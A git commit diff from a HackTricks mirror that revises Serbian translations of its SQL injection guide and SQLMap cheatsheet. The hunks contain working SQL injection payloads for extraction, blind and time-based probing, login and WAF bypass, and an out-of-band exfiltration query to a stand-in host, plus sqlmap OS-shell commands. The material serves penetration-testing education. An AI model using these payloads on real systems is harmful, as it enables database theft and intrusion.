mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['pentesting-web/sql-injection/README.md', 'pentesting-web/sq
This commit is contained in:
parent
6a5f3c7ddb
commit
010a184fe6
4 changed files with 62 additions and 62 deletions
|
@ -630,7 +630,7 @@
|
|||
* [Big Binary Files Upload (PostgreSQL)](pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
|
||||
* [RCE with PostgreSQL Languages](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
|
||||
* [RCE with PostgreSQL Extensions](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
|
||||
* [SQLMap - Cheetsheat](pentesting-web/sql-injection/sqlmap/README.md)
|
||||
* [SQLMap - CheatSheet](pentesting-web/sql-injection/sqlmap/README.md)
|
||||
* [Second Order Injection - SQLMap](pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md)
|
||||
* [SSRF (Server Side Request Forgery)](pentesting-web/ssrf-server-side-request-forgery/README.md)
|
||||
* [URL Format Bypass](pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
|
|
|
@ -75,7 +75,7 @@ HQL does not support comments
|
|||
|
||||
Pouzdana metoda za potvrđivanje SQL injection ranjivosti uključuje izvršavanje **logičke operacije** i posmatranje očekivanih rezultata. Na primer, GET parametar kao što je `?username=Peter` koji daje identičan sadržaj kada se izmeni u `?username=Peter' or '1'='1` ukazuje na SQL injection ranjivost.
|
||||
|
||||
Slično tome, primena **matematičkih operacija** služi kao efikasna tehnika potvrđivanja. Na primer, ako pristupanje `?id=1` i `?id=2-1` daje isti rezultat, to je indikativno za SQL injection.
|
||||
Slično tome, primena **matematičkih operacija** služi kao efikasna tehnika potvrđivanja. Na primer, ako pristupanje `?id=1` i `?id=2-1` daje isti rezultat, to je pokazatelj SQL injection.
|
||||
|
||||
Primeri koji prikazuju potvrđivanje logičke operacije:
|
||||
```
|
||||
|
@ -117,7 +117,7 @@ U nekim slučajevima **funkcije spavanja neće biti dozvoljene**. Tada, umesto k
|
|||
|
||||
### Identifikacija Back-end-a
|
||||
|
||||
Najbolji način da identifikujete back-end je pokušaj izvršavanja funkcija različitih back-end-ova. Možete koristiti _**sleep**_ **funkcije** iz prethodnog odeljka ili ove (tabela iz [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
Najbolji način da identifikujete back-end je pokušaj izvršavanja funkcija različitih back-end-ova. Možete koristiti _**sleep**_ **funkcije** iz prethodne sekcije ili ove (tabela iz [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
|
@ -165,7 +165,7 @@ Dve metode se obično koriste u tu svrhu:
|
|||
|
||||
#### Order/Group by
|
||||
|
||||
Da biste odredili broj kolona u upitu, postepeno prilagodite broj korišćen u **ORDER BY** ili **GROUP BY** klauzulama dok ne dobijete lažan odgovor. I pored različitih funkcionalnosti **GROUP BY** i **ORDER BY** unutar SQL-a, oboje se mogu koristiti identično za utvrđivanje broja kolona upita.
|
||||
Da biste odredili broj kolona u upitu, postepeno prilagodite broj korišćen u **ORDER BY** ili **GROUP BY** klauzulama dok ne dobijete lažan odgovor. I pored različitih funkcionalnosti **GROUP BY** i **ORDER BY** unutar SQL-a, oboje se može koristiti identično za utvrđivanje broja kolona u upitu.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
|
@ -189,9 +189,9 @@ Izaberite sve više i više null vrednosti dok upit ne bude tačan:
|
|||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_Trebalo bi da koristite `null` vrednosti jer u nekim slučajevima tipovi kolona sa obe strane upita moraju biti isti i null je validan u svakom slučaju._
|
||||
_Trebalo bi da koristite `null` vrednosti jer u nekim slučajevima tip kolona sa obe strane upita mora biti isti i null je validan u svakom slučaju._
|
||||
|
||||
### Izvlačenje imena baza podataka, imena tabela i imena kolona
|
||||
### Ekstraktovanje imena baza podataka, imena tabela i imena kolona
|
||||
|
||||
U sledećim primerima ćemo preuzeti ime svih baza podataka, ime tabele u bazi podataka, imena kolona tabele:
|
||||
```sql
|
||||
|
@ -206,20 +206,20 @@ U sledećim primerima ćemo preuzeti ime svih baza podataka, ime tabele u bazi p
|
|||
```
|
||||
_Postoji različit način za otkrivanje ovih podataka na svakoj različitoj bazi podataka, ali metodologija je uvek ista._
|
||||
|
||||
## Iskorišćavanje skrivenog unija
|
||||
## Eksploatacija skrivenih unija
|
||||
|
||||
Kada je izlaz upita vidljiv, ali se čini da unija zasnovana na injekciji nije moguća, to označava prisustvo **skrivene unije zasnovane na injekciji**. Ova situacija često dovodi do slepe injekcije. Da bi se slepa injekcija pretvorila u onu zasnovanu na uniji, potrebno je razjasniti izvršni upit na backendu.
|
||||
|
||||
To se može postići korišćenjem tehnika slepe injekcije zajedno sa podrazumevanim tabelama specifičnim za vaš ciljani sistem za upravljanje bazama podataka (DBMS). Za razumevanje ovih podrazumevanih tabela, savetuje se konsultacija sa dokumentacijom ciljanog DBMS-a.
|
||||
|
||||
Kada je upit izvučen, potrebno je prilagoditi svoj payload kako bi se sigurno zatvorio originalni upit. Nakon toga, unija upit se dodaje vašem payload-u, olakšavajući iskorišćavanje novonastale unije zasnovane na injekciji.
|
||||
Kada je upit izvučen, potrebno je prilagoditi svoj payload kako bi se sigurno zatvorio originalni upit. Nakon toga, unija upit se dodaje vašem payload-u, olakšavajući eksploataciju novonastale unije zasnovane na injekciji.
|
||||
|
||||
Za sveobuhvatnije uvide, pogledajte ceo članak dostupan na [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Iskorišćavanje zasnovano na grešci
|
||||
## Eksploatacija zasnovana na grešci
|
||||
|
||||
Ako iz nekog razloga **ne možete** da vidite **izlaz** **upita** ali možete **videti poruke o grešci**, možete iskoristiti ove poruke o grešci da **izvučete** podatke iz baze podataka.\
|
||||
Prateći sličan tok kao u iskorišćavanju zasnovanom na uniji, mogli biste uspeti da dump-ujete DB.
|
||||
Ako iz nekog razloga **ne možete** da vidite **izlaz** **upita**, ali možete **videti poruke o grešci**, možete iskoristiti ove poruke o grešci da **izvucite** podatke iz baze podataka.\
|
||||
Prateći sličan tok kao u eksploataciji zasnovanoj na uniji, mogli biste uspeti da dump-ujete DB.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
|
@ -232,11 +232,11 @@ U ovom slučaju, možete iskoristiti to ponašanje da izvučete bazu podataka ka
|
|||
```
|
||||
## Iskorišćavanje Error Blind SQLi
|
||||
|
||||
Ovo je **ista situacija kao pre** ali umesto da razlikujete između tačnog/lažnog odgovora iz upita, možete **razlikovati između** **greške** u SQL upitu ili ne (možda zato što HTTP server pada). Stoga, u ovom slučaju možete naterati SQL grešku svaki put kada tačno pogodite karakter:
|
||||
Ovo je **isti slučaj kao pre** ali umesto da razlikujete između tačnog/lažnog odgovora iz upita, možete **razlikovati između** **greške** u SQL upitu ili ne (možda zato što HTTP server pada). Stoga, u ovom slučaju možete naterati SQL grešku svaki put kada tačno pogodite karakter:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Eksploatacija SQLi zasnovanog na vremenu
|
||||
## Iskorišćavanje SQLi zasnovanog na vremenu
|
||||
|
||||
U ovom slučaju **nema** načina da se **razlikuje** **odgovor** upita na osnovu konteksta stranice. Ali, možete učiniti da stranica **duže učitava** ako je pogodjeni karakter tačan. Već smo videli ovu tehniku u upotrebi ranije kako bismo [potvrdili SQLi ranjivost](./#confirming-with-timing).
|
||||
```sql
|
||||
|
@ -244,13 +244,13 @@ U ovom slučaju **nema** načina da se **razlikuje** **odgovor** upita na osnovu
|
|||
```
|
||||
## Stacked Queries
|
||||
|
||||
Možete koristiti **stacked queries** da **izvršite više upita uzastopno**. Imajte na umu da, iako se uzastopni upiti izvršavaju, **rezultati** se **ne vraćaju aplikaciji**. Stoga je ova tehnika prvenstveno korisna u vezi sa **blind vulnerabilities** gde možete koristiti drugi upit da pokrenete DNS upit, uslovnu grešku ili vremensko kašnjenje.
|
||||
Možete koristiti stacked queries da **izvršite više upita uzastopno**. Imajte na umu da, iako se uzastopni upiti izvršavaju, **rezultati** se **ne vraćaju aplikaciji**. Stoga je ova tehnika prvenstveno korisna u vezi sa **blind vulnerabilities** gde možete koristiti drugi upit da pokrenete DNS upit, uslovnu grešku ili vremensko kašnjenje.
|
||||
|
||||
**Oracle** ne podržava **stacked queries.** **MySQL, Microsoft** i **PostgreSQL** ih podržavaju: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Out of band Exploitation
|
||||
|
||||
Ako **niti jedna** metoda eksploatacije **nije uspela**, možete pokušati da naterate **bazu podataka** da ex-filtrira informacije na **spoljni host** koji kontrolišete. Na primer, putem DNS upita:
|
||||
Ako **nijedna** metoda eksploatacije **nije uspela**, možete pokušati da naterate **bazu podataka da ex-filtrira** informacije na **spoljni host** koji kontrolišete. Na primer, putem DNS upita:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
|
@ -260,7 +260,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
|||
```
|
||||
## Automatizovana Eksploatacija
|
||||
|
||||
Proverite [SQLMap Cheetsheat](sqlmap/) da biste iskoristili SQLi ranjivost sa [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
Proverite [SQLMap Cheatsheet](sqlmap/) da biste iskoristili SQLi ranjivost sa [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
|
||||
## Tehničke specifične informacije
|
||||
|
||||
|
@ -288,7 +288,7 @@ Lista za pokušaj zaobilaženja funkcionalnosti prijavljivanja:
|
|||
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Zaobilaženje autentifikacije pomoću sirovog heša
|
||||
### Zaobilaženje autentifikacije sirovim hešom
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
|
@ -310,7 +310,7 @@ _(Ovi payload-ovi su takođe uključeni u veliku listu pomenutu na početku ovog
|
|||
|
||||
### GBK autentifikacija zaobilaženje
|
||||
|
||||
AKO je ' escapovan, možete koristiti %A8%27, a kada ' bude escapovan, biće kreirano: 0xA80x5c0x27 (_╘'_)
|
||||
AKO se ' escape-uje, možete koristiti %A8%27, a kada se ' escape-uje, biće kreirano: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
|
@ -331,19 +331,19 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
|||
```
|
||||
## Insert Statement
|
||||
|
||||
### Izmena lozinke postojećeg objekta/korisnika
|
||||
### Izmeni lozinku postojećeg objekta/korisnika
|
||||
|
||||
Da biste to uradili, trebali biste pokušati da **napravite novi objekat nazvan kao "master objekat"** (verovatno **admin** u slučaju korisnika) modifikujući nešto:
|
||||
Da biste to uradili, trebali biste pokušati da **napravite novi objekat nazvan kao "glavni objekat"** (verovatno **admin** u slučaju korisnika) modifikujući nešto:
|
||||
|
||||
* Napravite korisnika pod imenom: **AdMIn** (velika i mala slova)
|
||||
* Napravite korisnika pod imenom: **admin=**
|
||||
* **SQL Truncation Attack** (kada postoji neka vrsta **ograničenja dužine** u korisničkom imenu ili emailu) --> Napravite korisnika sa imenom: **admin \[puno razmaka] a**
|
||||
* **SQL Truncation Attack** (kada postoji neka vrsta **ograničenja dužine** u korisničkom imenu ili e-mailu) --> Napravite korisnika sa imenom: **admin \[puno razmaka] a**
|
||||
|
||||
#### SQL Truncation Attack
|
||||
|
||||
Ako je baza podataka ranjiva i maksimalan broj karaktera za korisničko ime je, na primer, 30, a želite da se pretvarate da ste korisnik **admin**, pokušajte da kreirate korisničko ime: "_admin \[30 razmaka] a_" i bilo koju lozinku.
|
||||
Ako je baza podataka ranjiva i maksimalan broj karaktera za korisničko ime je, na primer, 30 i želite da se pretvarate da ste korisnik **admin**, pokušajte da kreirate korisničko ime pod nazivom: "_admin \[30 razmaka] a_" i bilo koju lozinku.
|
||||
|
||||
Baza podataka će **proveriti** da li uneto **korisničko ime** **postoji** unutar baze podataka. Ako **ne**, ona će **skratiti** **korisničko ime** na **maksimalan dozvoljeni broj karaktera** (u ovom slučaju na: "_admin \[25 razmaka]_") i automatski će **ukloniti sve razmake na kraju ažurirajući** unutar baze podataka korisnika "**admin**" sa **novom lozinkom** (može se pojaviti neka greška, ali to ne znači da ovo nije uspelo).
|
||||
Baza podataka će **proveriti** da li uneto **korisničko ime** **postoji** unutar baze podataka. Ako **ne**, **izreže** će **korisničko ime** na **maksimalan dozvoljeni broj karaktera** (u ovom slučaju na: "_admin \[25 razmaka]_") i automatski će **ukloniti sve razmake na kraju ažurirajući** unutar baze podataka korisnika "**admin**" sa **novom lozinkom** (može se pojaviti neka greška, ali to ne znači da ovo nije uspelo).
|
||||
|
||||
Više informacija: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
|
@ -351,7 +351,7 @@ _Napomena: Ovaj napad više neće raditi kao što je opisano iznad u najnovijim
|
|||
|
||||
### MySQL Insert time based checking
|
||||
|
||||
Dodajte koliko god `','',''` smatrate da je potrebno da izađete iz VALUES izjave. Ako se izvrši kašnjenje, imate SQLInjection.
|
||||
Dodajte koliko god `','',''` smatrate da je potrebno da izađete iz VALUES izjave. Ako se odgoda izvrši, imate SQLInjection.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
|
@ -369,7 +369,7 @@ Evo kako to funkcioniše:
|
|||
|
||||
- Upit pokušava da unese dva reda: jedan za `generic_user@example.com` i drugi za `admin_generic@example.com`.
|
||||
- Ako red za `admin_generic@example.com` već postoji, `ON DUPLICATE KEY UPDATE` klauzula se aktivira, naređujući MySQL-u da ažurira polje `password` postojećeg reda na "bcrypt_hash_of_newpassword".
|
||||
- Kao rezultat, autentifikacija se može pokušati koristeći `admin_generic@example.com` sa lozinkom koja odgovara bcrypt hash-u ("bcrypt_hash_of_newpassword" predstavlja bcrypt hash nove lozinke, koji treba zameniti stvarnim hash-om željene lozinke).
|
||||
- Posledično, autentifikacija se može pokušati koristeći `admin_generic@example.com` sa lozinkom koja odgovara bcrypt hash-u ("bcrypt_hash_of_newpassword" predstavlja bcrypt hash nove lozinke, koji treba zameniti stvarnim hash-om željene lozinke).
|
||||
|
||||
### Ekstrakcija informacija
|
||||
|
||||
|
@ -411,7 +411,7 @@ Koristeći **hex** i **replace** (i **substr**):
|
|||
|
||||
## Routed SQL injection
|
||||
|
||||
Routed SQL injection je situacija u kojoj upit koji se može injektirati nije onaj koji daje izlaz, već izlaz injektiranog upita ide u upit koji daje izlaz. ([Iz rada](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
Routed SQL injection je situacija u kojoj upit koji se može injektovati nije onaj koji daje izlaz, već izlaz injektovanog upita ide u upit koji daje izlaz. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Primer:
|
||||
```
|
||||
|
@ -420,11 +420,11 @@ Primer:
|
|||
```
|
||||
## WAF Bypass
|
||||
|
||||
[Početni zaobilaženja odavde](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
[Početni bypass-ovi odavde](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
|
||||
### Zaobilaženje bez razmaka
|
||||
### Bypass bez razmaka
|
||||
|
||||
No Space (%20) - zaobilaženje korišćenjem alternativa za razmake
|
||||
No Space (%20) - bypass koristeći alternative za razmake
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
|
@ -467,8 +467,8 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
|||
```
|
||||
### Bypass WAF pomoću naučne notacije
|
||||
|
||||
Možete pronaći detaljnije objašnjenje ove trik u [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
U suštini, možete koristiti naučnu notaciju na neočekivane načine da zaobiđete WAF:
|
||||
Možete pronaći detaljnije objašnjenje ovog trika na [gosecure blogu](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
U suštini, možete koristiti naučnu notaciju na neočekivane načine kako biste zaobišli WAF:
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
-1' or 1337.1337e1 or '1'='1
|
||||
|
@ -476,7 +476,7 @@ U suštini, možete koristiti naučnu notaciju na neočekivane načine da zaobi
|
|||
```
|
||||
### Bypass Column Names Restriction
|
||||
|
||||
Prvo, primetite da ako **originalni upit i tabela iz koje želite da izvučete zastavicu imaju istu količinu kolona** možete jednostavno uraditi: `0 UNION SELECT * FROM flag`
|
||||
Prvo, primetite da ako **originalni upit i tabela iz koje želite da izvučete zastavicu imaju isti broj kolona** možete jednostavno uraditi: `0 UNION SELECT * FROM flag`
|
||||
|
||||
Moguće je **pristupiti trećoj koloni tabele bez korišćenja njenog imena** koristeći upit poput sledećeg: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, tako da bi u sqlinjection ovo izgledalo ovako:
|
||||
```bash
|
||||
|
@ -509,7 +509,7 @@ Ova trik je preuzet sa [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-sh
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija cybersecurity događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i cybersecurity u svakoj disciplini.
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -523,7 +523,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hacking trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,23 @@
|
|||
# SQLMap - Cheetsheat
|
||||
# SQLMap - Cheatsheet
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podržite HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite potpuni pentest sa bilo kog mesta uz 20+ alata i funkcija koje idu od rekognicije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se.
|
||||
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite potpuni pentest sa bilo kog mesta sa 20+ alata i funkcija koje idu od rekognicije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -61,11 +61,11 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
||||
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
||||
```
|
||||
## Injection place
|
||||
## Mesto injekcije
|
||||
|
||||
### From Burp/ZAP capture
|
||||
### Iz Burp/ZAP hvatanja
|
||||
|
||||
Zabeležite zahtev i kreirajte req.txt datoteku
|
||||
Uhvatite zahtev i kreirajte req.txt datoteku
|
||||
```bash
|
||||
sqlmap -r req.txt --current-user
|
||||
```
|
||||
|
@ -98,11 +98,11 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
|||
```
|
||||
### Eval
|
||||
|
||||
**Sqlmap** omogućava korišćenje `-e` ili `--eval` za obradu svake payload pre slanja uz neki python oneliner. Ovo olakšava i ubrzava prilagođenu obradu payload-a pre slanja. U sledećem primeru **flask cookie session** **je potpisan od strane flaska sa poznatom tajnom pre slanja**:
|
||||
**Sqlmap** omogućava korišćenje `-e` ili `--eval` za obradu svake payload pre slanja uz neki python oneliner. Ovo olakšava i ubrzava prilagođenu obradu payload-a pre slanja. U sledećem primeru **flask cookie sesija** **je potpisana od strane flaska sa poznatom tajnom pre slanja**:
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
### Šel
|
||||
### Shell
|
||||
```bash
|
||||
#Exec command
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
|
||||
|
@ -158,7 +158,7 @@ Zapamtite da **možete kreirati svoj vlastiti tamper u python-u** i to je veoma
|
|||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Zamenjuje karakter apostrofa sa njegovim punim UTF-8 ekvivalentom |
|
||||
| apostrophenullencode.py | Zamenjuje karakter apostrofa sa njegovim nelegalnim dvostrukim unicode ekvivalentom |
|
||||
| appendnullbyte.py | Dodaje kodirani NULL bajt na kraj payload-a |
|
||||
| appendnullbyte.py | Dodaje kodirani NULL bajt karakter na kraj payload-a |
|
||||
| base64encode.py | Base64 kodira sve karaktere u datom payload-u |
|
||||
| between.py | Zamenjuje operator veće od ('>') sa 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Zamenjuje karakter razmaka nakon SQL izjave sa validnim nasumičnim praznim karakterom. Nakon toga zamenjuje karakter = sa LIKE operatorom |
|
||||
|
@ -170,31 +170,31 @@ Zapamtite da **možete kreirati svoj vlastiti tamper u python-u** i to je veoma
|
|||
| charunicodeencode.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "\u0022" |
|
||||
| equaltolike.py | Zamenjuje sve pojave operatora jednakosti ('=') sa operatorom 'LIKE' |
|
||||
| escapequotes.py | Beži od navodnika (' i ") |
|
||||
| escapequotes.py | Escape-uje navodnike (' i ") |
|
||||
| greatest.py | Zamenjuje operator veće od ('>') sa 'GREATEST' ekvivalentom |
|
||||
| halfversionedmorekeywords.py | Dodaje verzionirani MySQL komentar pre svake ključne reči |
|
||||
| ifnull2ifisnull.py | Zamenjuje instance poput 'IFNULL(A, B)' sa 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Obavija kompletnu upit sa verzioniranim komentarom |
|
||||
| modsecurityzeroversioned.py | Obavija kompletnu upit sa komentarom nulte verzije |
|
||||
| multiplespaces.py | Dodaje više razmaka oko SQL ključnih reči |
|
||||
| modsecurityzeroversioned.py | Obavija kompletnu upit sa komentarom nulte verzije |
|
||||
| multiplespaces.py | Dodaje više razmaka oko SQL ključnih reči |
|
||||
| nonrecursivereplacement.py | Zamenjuje unapred definisane SQL ključne reči sa reprezentacijama pogodnim za zamenu (npr. .replace("SELECT", "")) filteri |
|
||||
| percentage.py | Dodaje znak procenta ('%') ispred svakog karaktera |
|
||||
| overlongutf8.py | Konvertuje sve karaktere u datom payload-u (ne obrađuje već kodirane) |
|
||||
| randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom velikom ili malom vrednošću |
|
||||
| randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom velikom ili malom slovom |
|
||||
| randomcomments.py | Dodaje nasumične komentare SQL ključnim rečima |
|
||||
| securesphere.py | Dodaje posebno oblikovan string |
|
||||
| sp\_password.py | Dodaje 'sp\_password' na kraj payload-a za automatsku obfuscaciju iz DBMS logova |
|
||||
| securesphere.py | Dodaje posebno kreirani string |
|
||||
| sp\_password.py | Dodaje 'sp\_password' na kraj payload-a za automatsku obfuscation iz DBMS logova |
|
||||
| space2comment.py | Zamenjuje karakter razmaka (' ') sa komentarima |
|
||||
| space2dash.py | Zamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim nasumičnim stringom i novim redom ('\n') |
|
||||
| space2hash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n') |
|
||||
| space2morehash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n') |
|
||||
| space2mssqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
|
||||
| space2mssqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
|
||||
| space2mssqlhash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim novim redom ('\n') |
|
||||
